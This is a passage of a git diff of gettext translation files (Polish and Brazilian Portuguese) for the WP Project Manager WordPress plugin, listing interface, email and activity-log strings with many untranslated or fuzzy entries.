"" + +# @ cpm +#: views/emails/html/complete-task.php:31 views/emails/html/new-task.php:24 +#: views/emails/html/update-task.php:24 +#, fuzzy +#| msgid "Due date" +msgid "due date" +msgstr "Termin" + +#: views/emails/html/complete-task.php:36 views/emails/html/new-task.php:29 +#: views/emails/html/update-task.php:29 +msgid "start at" +msgstr "" + +# @ cpm +#: views/emails/html/complete-task.php:54 views/emails/html/new-task.php:46 +#: views/emails/html/update-task.php:46 +msgid "View Task" +msgstr "Zobacz zadanie" + +#: views/emails/html/new-comment.php:12 +msgid "New Comment" +msgstr "" + +#: views/emails/html/new-comment.php:19 views/emails/html/update-comment.php:19 +msgid "Commented By" +msgstr "" + +#: views/emails/html/new-comment.php:23 views/emails/html/update-comment.php:23 +msgid "On" +msgstr "" + +#: views/emails/html/new-comment.php:38 views/emails/html/update-comment.php:38 +#: views/emails/mention.php:47 +msgid "View Comment" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:12 +msgid "New Message" +msgstr "Nowa wiadomość" + +#: views/emails/html/new-message.php:19 +msgid "Message Created By" +msgstr "" + +#: views/emails/html/new-message.php:28 +msgid "Title" +msgstr "" + +# @ cpm +#: views/emails/html/new-message.php:49 +msgid "View Message" +msgstr "Zobacz wiadomość" + +#: views/emails/html/new-project.php:16 +msgid "Project Created By" +msgstr "" + +#: views/emails/html/new-project.php:23 views/emails/html/update-project.php:22 +#: views/emails/mention.php:37 +msgid "Hello" +msgstr "" + +#: views/emails/html/new-project.php:25 +msgid "You are assigned to a new project \"%s\" by %s." +msgstr "" + +#: views/emails/html/new-project.php:26 views/emails/html/update-project.php:25 +msgid "You can see the project by going here:" +msgstr "" + +# @ cpm +#: views/emails/html/new-project.php:34 views/emails/html/update-project.php:35 +msgid "View Project" +msgstr "Podgląd projektu" + +#: views/emails/html/new-task.php:12 +msgid "New task has been assigned to you" +msgstr "" + +#: views/emails/html/new-task.php:18 +msgid "Created By" +msgstr "" + +#: views/emails/html/update-project.php:15 +msgid "Project Updated By" +msgstr "" + +#: views/emails/html/update-project.php:24 +msgid "You are assigned to a project \"%s\" by %s." +msgstr "" + +#: views/emails/html/update-task.php:12 +msgid "Update task has been assigned to you" +msgstr "" + +# @ cpm +#: views/emails/html/update-task.php:18 +#, fuzzy +#| msgid "Update List" +msgid "Updated By" +msgstr "Aktualizuj listę" + +#: views/emails/mention.php:39 +msgid "You are mentioned in a comment by" +msgstr "" + +#: views/emails/mention.php:41 +msgid "Please click the link bellow to view the comment." +msgstr "" + +#. Plugin Name of the plugin/theme +msgid "WP Project Manager" +msgstr "" + +#. Plugin URI of the plugin/theme +msgid "https://wedevs.com/wp-project-manager-pro/" +msgstr "" + +#. Description of the plugin/theme +msgid "" +"WordPress Project Management plugin. Manage your projects and tasks, get " +"things done." +msgstr "" + +#. Author of the plugin/theme +msgid "weDevs" +msgstr "" + +#. Author URI of the plugin/theme +msgid "https://wedevs.com" +msgstr "" + +# @ cpm +#~ msgid "Project created by %s" +#~ msgstr "Projekt utworzony przez %s" + +# @ cpm +#~ msgid "Project details updated by %s" +#~ msgstr "Szczegóły projektu zaktualizowane przez %s" + +# @ cpm +#~ msgid "Message \"%s\" deleted by %s" +#~ msgstr "Wiadomość \"%s\" skasowana przez %s" + +# @ cpm +#~ msgid "%s deleted a comment" +#~ msgstr "%s usunął komentatrz" + +# @ cpm +#~ msgid "Add a comment..." +#~ msgstr "Dodaj komentarz ..." + +# @ cpm +#~ msgid "Messages" +#~ msgstr "Wiadomości" + +# @ cpm +#~ msgid "message post type" +#~ msgstr "Komunikat typu post" + +# @ cpm +#~ msgid "Edit Message" +#~ msgstr "Edytuj wiadomość" + +# @ cpm +#~ msgid "Search Messages" +#~ msgstr "Wyszukiwanie wiadomości" + +# @ cpm +#~ msgid "Parent Message" +#~ msgstr "Wiadomość nadrzędna" + +# @ cpm +#~ msgid "Add New Milestone" +#~ msgstr "Dodaj nowy kamień milowy" + +# @ cpm +#~ msgid "New Milestone" +#~ msgstr "Nowy kamień milowy" + +# @ cpm +#~ msgid "View Milestone" +#~ msgstr "Podgląd kamienia milowego" + +# @ cpm +#~ msgid "Search Milestone" +#~ msgstr "Szukaj kamień milowy" + +# @ cpm +#~ msgid "Parent Milestone" +#~ msgstr "Nadrzędny kamień milowy" + +# @ cpm +#~ msgid "project manager post type" +#~ msgstr "Menadżer projektu typu wiadomości" + +# @ cpm +#~ msgid "Add Project" +#~ msgstr "Dodaj projekt" + +# @ cpm +#~ msgid "Edit Project" +#~ msgstr "Edytuj projekt" + +# @ cpm +#~ msgid "Search Project" +#~ msgstr "Wyszukaj projekt" + +# @ cpm +#~ msgid "Parent Project" +#~ msgstr "Nadrzędny projekt" + +# @ cpm +#~ msgid "Add Task List" +#~ msgstr "Dodaj listy zadań" + +# @ cpm +#~ msgid "Add New Task List" +#~ msgstr "Dodaj nową listę zadań" + +# @ cpm +#~ msgid "Edit Task List" +#~ msgstr "Edycja listy zadań" + +# @ cpm +#~ msgid "View Task List" +#~ msgstr "Zobacz listę zadań" + +# @ cpm +#~ msgid "Search Task List" +#~ msgstr "Szukaj listę zadań" + +# @ cpm +#~ msgid "Parent Task List" +#~ msgstr "Nadrzędna lista zadań" + +# @ cpm +#~ msgid "Add New Task" +#~ msgstr "Dodaj nowe zadanie" + +# @ cpm +#~ msgid "Edit Task" +#~ msgstr "Edytuj zadanie" + +# @ cpm +#~ msgid "New Task" +#~ msgstr "Nowe zadanie" + +# @ cpm +#~ msgid "Search Task" +#~ msgstr "Szukaj zadanie" + +# @ cpm +#~ msgid "Parent Task" +#~ msgstr "Nadrzędne zadanie" + +# @ cpm +#~ msgid "Delete project" +#~ msgstr "Usuń projekt" + +# @ cpm +#~ msgid "Add this comment" +#~ msgstr "Dodaj ten komentarz" + +# @ cpm +#~ msgid "late" +#~ msgstr "opóźniony" + +# @ cpm +#~ msgid "Attached to %s by %s" +#~ msgstr "Przydzielony do %s przez %s" + +# @ cpm +#~ msgid "Error: Message not found" +#~ msgstr "Błąd: Nie znaleziono wiadomości" + +# @ cpm +#~ msgid "Error: Project not found" +#~ msgstr "Błąd: nie znaleziono projektu" + +# @ cpm +#~ msgid "Error: Permission denied" +#~ msgstr "Błąd: połączenie nie dozwolone" + +# @ cpm +#, fuzzy +#~ msgid "1 Comment" +#~ msgid_plural "%d Comments" +#~ msgstr[0] "1 komentarz" +#~ msgstr[1] "1 komentarz" +#~ msgstr[2] "" + +# @ cpm +#~ msgid "Message %s created by %s" +#~ msgstr "Wiadomość %s utworzona przez %s" + +# @ cpm +#~ msgid "Message %s updated by %s" +#~ msgstr "Wiadomość %s zaktualizowana przez %s" + +# @ cpm +#~ msgid "To-do list %s created by %s" +#~ msgstr "Lista zadań %s utworzona przez %s" + +# @ cpm +#~ msgid "To-do list %s updated by %s" +#~ msgstr "Lista zadań %s zaktualizowana przez %s" + +# @ cpm +#~ msgid "To-do list \"%s\" deleted by %s" +#~ msgstr "Lista zadań \"%s\" usunięta przez %s" + +# @ cpm +#~ msgid "To-do %s added on to-do list %s by %s" +#~ msgstr "Zadanie %s dodane do listy %s przez %s" + +# @ cpm +#~ msgid "To-do %s updated by %s" +#~ msgstr "Zadanie %s zaktualizowane przez %s" + +# @ cpm +#~ msgid "To-do %s completed by %s" +#~ msgstr "Zadanie %s zakończone przez %s" + +# @ cpm +#~ msgid "Marked to-do as done" +#~ msgstr "Zadanie odznaczone jako wykonane" + +# @ cpm +#~ msgid "To-do %s marked un-done by %s" +#~ msgstr "Zadanie %s odznaczone jako niewykonane przez %s" + +# @ cpm +#~ msgid "Re-opened to-do" +#~ msgstr "Zadanie ponownie otwarte do zrobienia" + +# @ cpm +#~ msgid "To-do \"%s\" deleted from to-do list %s by %s" +#~ msgstr "Zadanie \"%s\" usunięte z listy %s przez %s" + +# @ cpm +#~ msgid "Milestone \"%s\" added by %s " +#~ msgstr "Kamień milowy \"%s\" dodany przez %s " + +# @ cpm +#~ msgid "Milestone \"%s\" updated by %s " +#~ msgstr "Kamień milowy \"%s\" zaktualizowany przez %s " + +# @ cpm +#~ msgid "Milestone \"%s\" deleted by %s " +#~ msgstr "Kamień milowy \"%s\" usunięty przez %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as complete by %s " +#~ msgstr "Kamień milowy \"%s\" zaznaczony jako wykonany przez %s " + +# @ cpm +#~ msgid "Milestone \"%s\" marked as incomplete by %s " +#~ msgstr "Kamień milowy \"%s\" odznaczony jako niekompletny przez %s " + +# @ cpm +#~ msgid "General" +#~ msgstr "Ogólne" + +# @ cpm +#~ msgid "No Messages Found" +#~ msgstr "Brak wiadomości" + +# @ cpm +#~ msgid "No Messages Found in Trash" +#~ msgstr "Brak wiadomości w koszu" + +# @ cpm +#~ msgid "No Milestone Found" +#~ msgstr "Nie znaleziono kamienia milowego" + +# @ cpm +#~ msgid "No Milestone Found in Trash" +#~ msgstr "Nie znaleziono kamienia milowego w koszu" + +# @ cpm +#~ msgid "No Project Found in Trash" +#~ msgstr "Nie znaleziono projektu w koszu" + +# @ cpm +#~ msgid "No Task List Found" +#~ msgstr "Nie znaleziono listy zadań" + +# @ cpm +#~ msgid "No Task List Found in Trash" +#~ msgstr "Nie znaleziono listy zadań w koszu" + +# @ cpm +#~ msgid "No Task Found" +#~ msgstr "Nie znaleziono zadań" + +# @ cpm +#~ msgid "No Task Found in Trash" +#~ msgstr "Nie znaleziono zadań w koszu" + +# @ cpm +#~ msgid "Select co-workers" +#~ msgstr "Wybierz współpracowników" + +# @ cpm +#~ msgid "Are you sure to delete this to-do?" +#~ msgstr "Czy na pewno chcesz usunąć to zadanie?" + +# @ cpm +#~ msgid "Add this to-do" +#~ msgstr "Dodaj zadanie" + +# @ cpm +#~ msgid "Add a new to-do" +#~ msgstr "Dodaj nowe zadanie" + +# @ cpm +#~ msgid "-- milestone --" +#~ msgstr "-- kamień milowy --" + +# @ cpm +#~ msgid "Are you sure to delete this to-do list?" +#~ msgstr "Czy na pewno chcesz usunąć tę listę zadań?" + +# @ cpm +#~ msgid "Update comment" +#~ msgstr "Aktualizacja komentarza" + +# @ cpm +#~ msgid "Edit milestone" +#~ msgstr "Edytuj kamień milowy" + +# @ cpm +#~ msgid "Mark un-complete" +#~ msgstr "Oznacz jako niekompletne" + +# @ cpm +#~ msgid "To-do List" +#~ msgstr "Lista zadań" + +# @ cpm +#~ msgid "Notify Co-workers" +#~ msgstr "Informuj współpracowników" + +# @ cpm +#~ msgid "thread" +#~ msgstr "wątek" + +# @ cpm +#~ msgid "One Comment" +#~ msgid_plural "%s Comments" +#~ msgstr[0] "%s komentarz" +#~ msgstr[1] "%s komentarze" + +# @ cpm +#~ msgid "Discuss this to-do list" +#~ msgstr "Skomentuj listę do zrobienia." + +# @ default +#~ msgid "file size in Megabyte. e.g: 2" +#~ msgstr "rozmiar pliku w MB. np: 2" + +# @ cpm +#~ msgid "New Project Subject" +#~ msgstr "Nowy temat projektu" + +# @ cpm +#~ msgid "New Project Body" +#~ msgstr "Opis nowego projektu" + +# @ cpm +#~ msgid "New Message Subject" +#~ msgstr "Nowy temat wiadomości" + +# @ cpm +#~ msgid "New Message Body" +#~ msgstr "Treść nowej wiadomości" + +# @ cpm +#~ msgid "New Comment Subject" +#~ msgstr "Nowy temat komentarza" + +# @ cpm +#~ msgid "New Assigned Task Subject" +#~ msgstr "Temat nowego zadania" + +# @ cpm +#~ msgid "-- assign to --" +#~ msgstr "-- przypisz do --" + +# @ cpm +#~ msgid "" +#~ "To attach, select files " +#~ "from your computer." +#~ msgstr "" +#~ "Aby dodać wybierz pliki z " +#~ "komputera." + +# @ cpm +#~ msgid "%d message" +#~ msgid_plural "%d messages" +#~ msgstr[0] "%d wiadomość" +#~ msgstr[1] "%d wiadomości" + +# @ cpm +#~ msgid "%d to-do list" +#~ msgid_plural "%d to-do lists" +#~ msgstr[0] "%d lista zadań" +#~ msgstr[1] "%d listy zadań" + +# @ cpm +#~ msgid "%d to-do" +#~ msgid_plural "%d to-dos" +#~ msgstr[0] "%d zadanie" +#~ msgstr[1] "%d zadania" + +# @ cpm +#~ msgid "%d milestone" +#~ msgid_plural "%d milestones" +#~ msgstr[0] "%d kamień milowy" +#~ msgstr[1] "%d kamienie milowe" + +# @ cpm +#~ msgid "%d Comments" +#~ msgstr "%d komentarzy" + +# @ cpm +#~ msgid "(Completed by %s on %s)" +#~ msgstr "(Uzupełnione przez %s na %s)" + +# @ cpm +#~ msgid "Tasklist name" +#~ msgstr "Nazwa listy zadań" + +# @ cpm +#~ msgid "Add a to-do" +#~ msgstr "Dodaj zadanie" + +# @ cpm +#~ msgid "Details about milestone (optional)" +#~ msgstr "Szczegóły kamienia milowego (opcjonalne)" + +# @ cpm +#~ msgid "Reopen" +#~ msgstr "Otwórz ponownie" + +# @ cpm +#~ msgid "" +#~ "Download or go to the discussion." +#~ msgstr "" +#~ "Pobierz lub dołącz do dyskusji." + +# @ cpm +#~ msgid "No Files Found!" +#~ msgstr "Nie odnaleziono plików!" + +# @ cpm +#~ msgid "Add New" +#~ msgstr "Dodaj nową" + +# @ cpm +#~ msgid "No messages found! How about adding one?" +#~ msgstr "Brak wiadomości! Możesz dodać nową." + +# @ cpm +#~ msgid "← back" +#~ msgstr "← z powrotem" + +# @ cpm +#~ msgid "No Milestone Found!" +#~ msgstr "Brak kamieni milowych." + +# @ cpm +#~ msgid "Add new milestone" +#~ msgstr "Dodaj nowy kamień milowy" + +# @ cpm +#~ msgid "Project Info" +#~ msgstr "Informacje o projekcie" + +# @ cpm +#~ msgid "Oh dear, no To-do list found!" +#~ msgstr "Lista zadań nie została znaleziona." + +# @ cpm +#~ msgid "Discuss this to-do" +#~ msgstr "Skomentuj to zadanie" + +# @ cpm +#~ msgid "Message details here" +#~ msgstr "Szczegóły wiadomości tutaj" diff --git a/languages/wedevs-project-manager-pt_BR.po b/languages/wedevs-project-manager-pt_BR.po index 81c78dbd9..519b5eab3 100644 --- a/languages/wedevs-project-manager-pt_BR.po +++ b/languages/wedevs-project-manager-pt_BR.po @@ -1,2319 +1,2319 @@ -msgid "" -msgstr "" -"Project-Id-Version: WP Project Manager v0.4.1\n" -"Report-Msgid-Bugs-To: https://wordpress.org/support/plugin/cpm\n" -"POT-Creation-Date: 2018-07-11 06:41:04+00:00\n" -"PO-Revision-Date: 2018-07-11 12:54+0600\n" -"Last-Translator: Tareq Hasan \n" -"Language-Team: Anderson Blaine \n" -"Language: pt_BR\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Plural-Forms: nplurals=2; plural=(n > 1);\n" -"X-Generator: Poedit 2.0.8\n" -"X-Poedit-SourceCharset: UTF-8\n" -"X-Poedit-KeywordsList: __;_e;__ngettext:1,2;_n:1,2;__ngettext_noop:1,2;" -"_n_noop:1,2;_c,_nc:4c,1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;_nx_noop:4c,1,2\n" -"X-Poedit-Basepath: .\n" -"X-Textdomain-Support: yes\n" -"X-Poedit-SearchPath-0: ..\n" - -#: core/Notifications/Emails/Complete_Task_Notification.php:42 -msgid "[%s] %s Task mark as %s in %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:53 -#: core/Notifications/Emails/Update_Comment_Notification.php:52 -#: views/emails/html/new-message.php:39 views/emails/mention.php:13 -msgid "Message" -msgstr "Mensagem" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:58 -#: core/Notifications/Emails/Update_Comment_Notification.php:55 -#: views/emails/mention.php:20 -msgid "Task List" -msgstr "Lista de Tarefas" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:63 -#: core/Notifications/Emails/Update_Comment_Notification.php:58 -#: views/assets/js/pm.js:18541 -#: views/assets/src/components/project-overview/directive.js:10 -#: views/emails/mention.php:25 -msgid "Task" -msgstr "Tarefa" - -# @ cpm -#: core/Notifications/Emails/New_Comment_Notification.php:68 -#, fuzzy -#| msgid "Files" -msgid "File" -msgstr "Arquivos" - -#: core/Notifications/Emails/New_Comment_Notification.php:81 -msgid "[%s][%s] New Comment on: %s" -msgstr "" - -#: core/Notifications/Emails/New_Message_Notification.php:47 -msgid "[%s][%s] New Message: %s" -msgstr "" - -#: core/Notifications/Emails/New_Project_Notification.php:24 -msgid "[%s] New Project Invitation: %s" -msgstr "" - -#: core/Notifications/Emails/New_Task_Notification.php:41 -msgid "[%s][%s] New Task Assigned: %s" -msgstr "" - -#: core/Notifications/Emails/Update_Comment_Notification.php:49 -msgid "[%s][%s] Update Comment on: %s" -msgstr "" - -# @ cpm -#: core/Notifications/Emails/Update_Project_Notification.php:24 -#, fuzzy -#| msgid "Update Project" -msgid "[%s] Updated Project: %s" -msgstr "Atualizar Projeto" - -#: core/Notifications/Emails/Update_Task_Notification.php:40 -msgid "[%s][%s] Update Task Assigned: %s" -msgstr "" - -#: core/Permissions/Access_Project.php:22 -#: core/Permissions/Create_Discuss.php:17 -#: core/Permissions/Create_Milestone.php:16 core/Permissions/Create_Task.php:16 -#: core/Permissions/Create_Task_List.php:17 -#: core/Permissions/Edit_Comment.php:27 core/Permissions/Edit_Discuss.php:30 -#: core/Permissions/Edit_File.php:29 core/Permissions/Edit_Milestone.php:30 -#: core/Permissions/Edit_Task.php:32 core/Permissions/Edit_Task_List.php:30 -#: core/Permissions/Project_Manage_Capability.php:28 -msgid "You have no permission." -msgstr "" - -#: core/Permissions/Complete_Task.php:36 -msgid "You have no permission to change task status." -msgstr "" - -#: core/Permissions/Create_File.php:16 -msgid "You have no permission to create message." -msgstr "" - -#: core/Permissions/Project_Craete_Capability.php:17 -msgid "You have no permission to create project." -msgstr "" - -#: core/Upgrades/Upgrade.php:136 -msgid "" -"WP Project Manager Data Update Required – Please " -"click the button below to update to the latest version." -msgstr "" - -#: core/Upgrades/Upgrade.php:139 -msgid "Run the Update" -msgstr "" - -# @ cpm -#: core/Upgrades/Upgrade.php:140 -#, fuzzy -#| msgid "Load More..." -msgid "Read More" -msgstr "Saiba Mais..." - -#: core/Upgrades/Upgrade.php:148 -msgid "" -"It is strongly recommended that you backup your database before proceeding. " -"Are you sure you wish to run the updater now?" -msgstr "" - -# @ default -#: core/WP/Enqueue_Scripts.php:65 -msgid "Allowed Files" -msgstr "Arquivos Permitidos" - -#: core/WP/Frontend.php:140 -msgid "Every %d Minutes PM schedule" -msgstr "" - -#: core/WP/Frontend.php:167 -msgid "

WP Project Manager Pro required version 2.0 or above.

" -msgstr "" - -#: core/WP/Frontend.php:168 -msgid "

To migrate version 2.0, Please read mmigration docs

" -msgstr "" - -#: core/WP/Frontend.php:177 -msgid "Read Docs" -msgstr "" - -#: core/WP/Frontend.php:284 -msgid "Get Pro" -msgstr "" - -# @ cpm -#: core/WP/Frontend.php:287 core/WP/Menu.php:36 -msgid "Settings" -msgstr "Configurações" - -#: core/WP/Frontend.php:288 -msgid "Documentation" -msgstr "" - -# @ cpm -#: core/WP/Menu.php:16 views/assets/src/components/project-lists/header.vue:7 -msgid "Project Manager" -msgstr "Gestão de Projetos" - -# @ cpm -#: core/WP/Menu.php:18 -msgid "Projects" -msgstr "Projetos" - -#: core/WP/Menu.php:20 views/assets/src/components/categories/categories.vue:3 -msgid "Categories" -msgstr "" - -#: core/WP/Menu.php:22 -msgid "My Tasks" -msgstr "" - -#: core/WP/Menu.php:23 -msgid "Calendar" -msgstr "" - -#: core/WP/Menu.php:26 -msgid "Reports" -msgstr "" - -#: core/WP/Menu.php:27 -msgid "Progress" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:23 -msgid "Manager" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:25 -msgid "Manager is a person who manages the project." -msgstr "" - -#: db/seeds/RoleTableSeeder.php:33 -msgid "Co-Worker" -msgstr "" - -#: db/seeds/RoleTableSeeder.php:35 -msgid "Co-worker is person who works under a project." -msgstr "" - -#: src/Category/Validators/Create_Category.php:10 -#: src/Category/Validators/Update_Category.php:10 -msgid "Category title is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:11 -msgid "Category id is required." -msgstr "" - -#: src/Category/Validators/Update_Category.php:12 -msgid "Category id must be greater than zero" -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:10 -#: src/Comment/Validators/Update_Comment.php:10 -msgid "Comment title is required." -msgstr "" - -#: src/Comment/Validators/Create_Comment.php:11 -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:11 -#: src/Milestone/Validators/Create_Milestone.php:11 -#: src/Project/Validators/Update_Project.php:11 -#: src/Task/Validators/Create_Task.php:11 -#: src/Task_List/Validators/Create_Task_List.php:11 -msgid "Project id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:11 -msgid "Comment id is required." -msgstr "" - -#: src/Comment/Validators/Update_Comment.php:12 -msgid "Comment id must be greater than zero" -msgstr "" - -#: src/Discussion_Board/Validators/Create_Discussion_Board.php:10 -msgid "Discussion title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:10 -msgid "Discuss title is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:11 -msgid "Discuss id is required." -msgstr "" - -#: src/Discussion_Board/Validators/Update_Discussion_Board.php:12 -msgid "Discuss id must be greater than zero" -msgstr "" - -#: src/File/Controllers/File_Controller.php:97 -msgid "file not found" -msgstr "" - -#: src/Milestone/Controllers/Milestone_Controller.php:58 -msgid "this is mishu" -msgstr "" - -#: src/Milestone/Validators/Create_Milestone.php:10 -#: src/Milestone/Validators/Update_Milestone.php:10 -msgid "Milestone title is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:11 -msgid "Milestone id is required." -msgstr "" - -#: src/Milestone/Validators/Update_Milestone.php:12 -msgid "Milestone id must be greater than zero" -msgstr "" - -#: src/Project/Validators/Create_Project.php:10 -#: src/Project/Validators/Update_Project.php:10 -msgid "Project title is required." -msgstr "" - -#: src/Project/Validators/Update_Project.php:12 -msgid "Project id must be greater than zero" -msgstr "" - -#: src/Role/Validators/Create_Role.php:10 -#: src/Role/Validators/Update_Role.php:10 -msgid "Role title is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:11 -msgid "Role id is required." -msgstr "" - -#: src/Role/Validators/Update_Role.php:12 -msgid "Role id must be greater than zero" -msgstr "" - -#: src/Task/Validators/Create_Task.php:10 -#: src/Task/Validators/Update_Task.php:10 -msgid "Task title is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:11 -msgid "Task id is required." -msgstr "" - -#: src/Task/Validators/Update_Task.php:12 -msgid "Task id must be greater than zero" -msgstr "" - -#: src/Task_List/Validators/Create_Task_List.php:10 -#: src/Task_List/Validators/Update_Task_List.php:10 -msgid "Task list title is required." -msgstr "" - -# @ cpm -#: src/Task_List/Validators/Update_Task_List.php:11 -#, fuzzy -#| msgid "Tasklist detail" -msgid "Task list id is required." -msgstr "Descrição da Lista de Tarefas" - -#: src/Task_List/Validators/Update_Task_List.php:12 -msgid "Task list id must be greater than zero" -msgstr "" - -#: texts/activities.php:6 -msgid "%1$s has created a project titled as %2$s" -msgstr "" - -#: texts/activities.php:10 -msgid "%1$s has updated project title from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:14 -msgid "%1$s has updated %2$s project description." -msgstr "" - -#: texts/activities.php:18 -msgid "%1$s has updated project status from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:22 -msgid "%1$s has updated project budget from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:26 -msgid "%1$s has updated project pay rate from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:30 -msgid "%1$s has updated project est completion date from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:34 -msgid "%1$s has updated project color code from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:40 -msgid "%1$s has created a discussion board titled as %2$s." -msgstr "" - -#: texts/activities.php:44 -msgid "" -"%1$s has updated the title of a discussion board from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:48 -msgid "%1$s has updated the description of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:52 -msgid "%1$s has updated the order of a discussion board, %2$s." -msgstr "" - -#: texts/activities.php:58 -msgid "%1$s has created a task list titled as %2$s." -msgstr "" - -#: texts/activities.php:62 -msgid "%1$s has updated the title of a task list from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:66 -msgid "%1$s has updated the description of a task list, %2$s." -msgstr "" - -#: texts/activities.php:70 -msgid "%1$s has updated the order of a task list, %2$s." -msgstr "" - -#: texts/activities.php:76 -msgid "%1$s has created a milestone, %2$s." -msgstr "" - -#: texts/activities.php:80 -msgid "%1$s has updated the title of a milestone from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:84 -msgid "%1$s has updated the description of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:88 -msgid "%1$s has updated the order of a milestone, %2$s." -msgstr "" - -#: texts/activities.php:94 -msgid "%1$s has created a task, %2$s." -msgstr "" - -#: texts/activities.php:98 -msgid "%1$s has updated the title of a task from \"%2$s\" to \"%3$s\"." -msgstr "" - -#: texts/activities.php:102 -msgid "%1$s has updated the description of a task, %2$s." -msgstr "" - -#: texts/activities.php:106 -msgid "%1$s has updated the estimation of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:110 -msgid "%1$s has updated the start date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:114 -msgid "%1$s has updated the due date of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:118 -msgid "%1$s has updated the complexity of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:122 -msgid "%1$s has updated the priority of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:126 -msgid "%1$s has updated the payable status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:130 -msgid "%1$s has updated the recurrency of a task, %2$s, from %3$s to %4$s." -msgstr "" - -#: texts/activities.php:134 -msgid "%1$s has updated the status of a task, %2$s, from %3$s to %4$s." -msgstr "" - -# @ cpm -#: texts/activities.php:140 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task, %2$s." -msgstr "%s comentou em %s" - -# @ cpm -#: texts/activities.php:144 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task, %2$s." -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:148 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task, %2$s" -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:152 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task, %2$s." -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:158 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a task list, %2$s." -msgstr "%s comentou em %s" - -# @ cpm -#: texts/activities.php:162 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a task list, %2$s." -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:166 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a task list, %2$s" -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:170 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a task list, %2$s." -msgstr "%s atualizou comentário em %s" - -#: texts/activities.php:176 -msgid "%1$s has commented on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:180 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a discussion board, %2$s." -msgstr "%s atualizou comentário em %s" - -#: texts/activities.php:184 -msgid "%1$s has replied a comment on a discussion board, %2$s" -msgstr "" - -#: texts/activities.php:188 -msgid "%1$s has updated a reply comment on a discussion board, %2$s." -msgstr "" - -# @ cpm -#: texts/activities.php:194 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a milestone, %2$s." -msgstr "%s comentou em %s" - -# @ cpm -#: texts/activities.php:198 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a milestone, %2$s." -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:202 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has replied a comment on a milestone, %2$s" -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:206 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on a milestone, %2$s." -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:212 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on the project, %2$s." -msgstr "%s comentou em %s" - -# @ cpm -#: texts/activities.php:216 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on the project, %2$s." -msgstr "%s atualizou comentário em %s" - -#: texts/activities.php:220 -msgid "%1$s has replied a comment on the project, %2$s" -msgstr "" - -# @ cpm -#: texts/activities.php:224 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a reply comment on the project, %2$s." -msgstr "%s atualizou comentário em %s" - -# @ cpm -#: texts/activities.php:230 -#, fuzzy -#| msgid "%s commented on a %s" -msgid "%1$s has commented on a file, %2$s." -msgstr "%s comentou em %s" - -# @ cpm -#: texts/activities.php:234 -#, fuzzy -#| msgid "%s updated comment on a %s" -msgid "%1$s has updated a comment on a file, %2$s." -msgstr "%s atualizou 